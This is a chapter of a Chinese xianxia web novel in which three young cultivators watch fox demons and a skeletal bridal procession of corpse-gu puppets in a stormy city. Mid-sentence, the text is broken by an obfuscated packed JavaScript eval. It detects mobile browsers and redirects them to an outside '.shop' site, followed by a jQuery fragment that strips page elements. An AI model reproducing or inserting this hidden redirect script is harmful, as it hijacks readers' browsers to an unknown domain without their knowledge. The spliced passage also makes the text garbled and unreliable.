屋外原本该是艳阳高照的正午,此刻却黑得可怕,淅淅沥沥下起雨来,府中到处都弥漫着不详的红光。
“卧槽,全是妖气!”年茗舟情不自禁的喃喃着,忽然动了动鼻翼,眼眸暗了,“有股熟悉的臭味……”
他脸上的刺青又动了。
“什么臭味?”宫观棋敏锐的问他。
宣病也看向他,可手腕上却忽然烫了烫——
低头一看,竟然是下山前师无治给他套的那个镯子。
它发着微光、还有些烫。
宣病眉头一皱,抬手想脱下来,可那镯子又恢复了之前冰凉的模样。
“尸蛊的臭味。”年茗舟低语,“难道大哥也参与了?”
宣病蹙眉,“你是说你那个祭司的哥哥?”
年茗舟嗯了一声,仍旧是女声。
“你排老几?”宣病忽然问‘他’。
“别问了,我们接下来做什么?”宫观棋开口了,“城中还有许多无辜百姓呢,能救一个是一个。”
宣病一想也是,念了句法诀,手中又出现了一只蓝色的寻妖灵蝶。
“嗯?”年茗舟奇怪的看了他一眼,“你居然喜欢这种漂亮的东西?”
宣病一怔,“谁不喜欢漂亮的东西?”
空中一时静了。
过了会,年茗舟幽幽开口,“我有个族弟,肤白貌美,总喜欢捯饬自己,连头上都要戴花环——后来发现他喜欢男的。”
宣病:“……”
宫观棋:“……”
“正常男孩都喜欢四大神兽那一外形的东西吧?”年茗舟又眯起眼睛,“像我这种小姑娘才喜欢亮闪闪的小蝴蝶。”
这什么奇怪的规定?
宣病嘴角一抽,没理他,直接转开话题,“蝴蝶好像找到位置了……走,我们追!”
他拽着宫观棋,身形一闪,跟上了灵蝶的脚步。
灵蝶飞到了府中深处,宅院里竟然一个下人也没有,那些花草被这雨淋得又枯萎了几分。
蝴蝶停在了一间房门前,里面传出了云栖止的声音——
“弟弟,再等等……不用那么急,等那几个小孩进了南疆,再动手也不迟。”
她在等什么?宣病蹙眉,和另外二人对视了一眼。
“我等不了了!那不过就是三个小屁孩,你管他们干什么?!”一道男声嘶吼着,声音听起来沙哑难听,“姐!你说过,要帮我娶她的!”
“现在不是时候!”云栖止厉声喝道,完全没有了那温柔的模样,反而像回到了训斥下人时的感觉。
屋内静了一会,嘶哑的男声响了,“你后悔了,姐姐。”
“我没后悔,我只说现在不是时候——你太心急了!”云栖止蹙眉,“而且我好像找到了小青的孩子……到时候,我要把他一起带回去。”
宣病心里一惊,这女人好像真的认识他娘,知道他的身世!
“小青?”那男声一呆,“那个被驱逐的妖女,柏青?”
云栖止叹息,“我不确定,我要带他去秘境,去看看血脉能不能呼应……如果能,妖族就有救了。”
“她在说谁?”年茗舟皱着眉打手势,指了指宫观棋和宣病,“是你们?”
宣病和宫观棋不约而同的摇头。
“那我更要接她回来了——姐姐,快放开我吧,求你了!你不是都已经把那三个小孩迷晕了吗?我答应你,只要他们不坏我的事,我不杀他们……”嘶哑男声继续诱哄,仿佛被东西桎梏着。
宣病眯起眼睛,悄然将窗户纸捅破一个洞。
屋里,一个白衣男人被锁链禁锢着,背对着他们,黑色的狐狸尾巴长得拖曳在地。
而白衣男人的对面,是云栖止,她的脑袋上已经长出了一对灰色的狐狸耳朵,神色中布满担忧。
年茗舟瞬间急了。
原本以为是人和妖互相勾结——没想到云栖止竟然是妖怪?那嫂嫂呢?哥知道这件事吗?!
他一急就差点没了理智,好在宣病及时制止住了他。
“心急吃不了热豆腐,”屋内,云栖止摇摇头,“魏览,再等等。”
魏览鬼里鬼气的笑了起来,“迟了,姐姐……说好的今天,就是今天。”
轰的一声,天际一道惊雷,雨下得更大了。
“阴天下雨……”魏览喃喃着,唱起一首古怪的调子,“狐狸娶亲……阴曹地府,因诚而开……”
云栖止敏锐察觉不对:“不要唱了,闭嘴!”
已经迟了——唢呐声骤然响起,瓢泼大雨下,雾气越发湿润厚重,府门忽然打开了来,一支迎亲队伍端着顶轿子,牵了一匹马,敲锣打鼓的走了进来。
三人不约而同的隐藏到了柱子后,却在看清那队伍时蓦然睁大了眼睛——
那些迎亲者披着黑袍,低着头,抬着花轿,可那花轿竟是白骨做的,上面挂着的红绸破破烂烂的,像是刚出土。
那些泥土渐渐的被大雨冲刷得干干净净。
迎亲者们的胸前栓着鼓,一下下的敲着,那场面看起来古怪极了。
“恭喜新郎官——娶得美娇娘——”
他们嘶哑难听的声音响起了,这动静、这阵仗,外面竟然没有一个人来阻止。
“城中百姓的睡眠真不错。”宣病心想,“这样都没被吵醒?还是说,百姓们都死了?”
“魏览!不行!”云栖止眼中骤然出现血红之色,身后的狐尾出现了,一掌掐住了魏览的脖颈,威胁道:“今天不能接!让它们滚回该回的地方去!”
魏览被掐着,说话断断续续:“哈——姐姐……迟了……城中央已经……行祭典了——她的身体早就醒了!亡魂也快从地府召回了!来人!助我!”
话音落下的一瞬间,迎亲队伍中几个黑影一闪,当即和云栖止打了起来。
室内一时间光芒大作,混乱极了,狐妖尾巴蓦然变大狠狠缠住其中一个黑袍人甩了出去!
迎亲队伍见了这情况依然在敲锣打鼓,没有半点活人的动容,不断的重复着:“阴天下雨!狐狸娶亲!阴天下雨!狐狸娶亲!”
“怎么办?我们帮谁?!”宫观棋小声开口,询问另外两人的意见。
宣病蹙眉,“先等等……小年,他们说的祭典是什么东西?”
——轰!
年茗舟还没来得及回答,室内一声轰然巨响,屏风倒了下去,云栖止被几名黑袍人缠住了,掐着掼到了墙边!
“她好弱。”年茗舟没忍住说,“看着都几千年的大妖了,怎么这么弱?”
宣病:“……她强了,该哭的就是我们了。”
“别杀我姐姐!先将我松
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13938866|147322||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
开——快,午时要到了!”屋内的魏览倏然出声。
那黑袍人一顿,朝同伙一点头,立刻就有人去解开了魏览。
魏览终于得到自由,连忙身形一闪,骑上了那匹他们牵来的白马,尾巴高高扬起,振臂高呼——
“这雨是天的旨意……娶亲!娶亲!”
迎亲队伍跟着高呼,手里的锣鼓也敲得越来越用力——
天际又是一声惊雷,大风乍起,吹开了那些人的黑袍。
黑袍之下,是白泱泱的一片骨头。
这支迎亲队伍竟不是活人!
“……这是什么怪物?”宣病喃喃着,“活人还是死人?”
瞧见白骨的那一瞬,年茗舟的脸色蓦然难看了,“是尸蛊!我就说那味道不对劲!”
宣病蹙眉:“那是什么?”
听起来好多虫。
“那是一种狠毒的养蛊手法,在重病之人将死时喂食蛊虫,让它在里面产卵,人死之时,就是蛊成之时——蛊成后会将尸体作为母体,繁衍无数虫子,虫子寄生在尸骨上,便可令尸骨为自己所用。”
宣病一想到那个全是虫子的场面,两眼一黑,有点不想打了。
“最重要的是,”年茗舟眉头皱紧,“被操纵的那个‘母体’,会有生前的修为。如果母体十分强大——仅凭我们仨是解决不了的。”
“……年茗舟,”宫观棋眉头一挑,忽然说,“我竟然不知道你还会乐器——这么快就打退堂鼓了?”
年茗舟白了他一眼,“我怕什么?我肯定不怕呀,你才筑基,你很容易出事的。”
他们都不怕。宣病更不好说自己怕虫了,深呼一口气,“那我们走!”
整座城都冒着红光,家家户户都关着门,仿佛怕沾染到什么麻烦。他们三人不过犹豫了一瞬,迎亲队伍已经不见了。
“它们去哪儿了?”年茗舟疑惑不已。
宣病抬眸,指了指天际——
天际有一轮红色的血月,血月之下,是一道巨大的狐影。
“那不是我们昨天住的客栈吗?”宫观棋发现了,“他们要接的那个亲,不会在客栈里面吧?”
宣病沉默了。
他觉得有什么地方不对劲,可是一时间想不出来。
地面上多出了很多密密麻麻的小虫,踩上去嘎嘣脆,宣病头皮发麻,脚步越来越慢。
他真的怕虫。
城中的红光越发亮了,弥漫起一股黑雾飘向客栈,很快,那里面便被黑雾充满了。
白骨的迎亲队伍停在了门口。
魏览下了马,满怀期待的跑了进去,脚步甚至激动的有点踉跄,仿佛里面就是他此生的所求。
“姐姐……”他叫着,“我来娶你了。”
或许是因为狂喜,他并没压低声音,半个城的人都能听到。
年茗舟忍不住小声八卦,“他到底有几个姐姐?怎么叫妻子也叫姐姐?叫城主也叫姐姐?”
宣病咳了下,以同样的音量回道:“你不懂。”
“不懂什么?”年茗舟一脸疑惑。
宣病耳朵有点羞耻的发烫,“反正你不懂。”
男人都这样。
师无治以前也老喜欢让他喊哥哥,在榻上时这种称呼也会更有趣味。
比如……哥哥轻点什么的……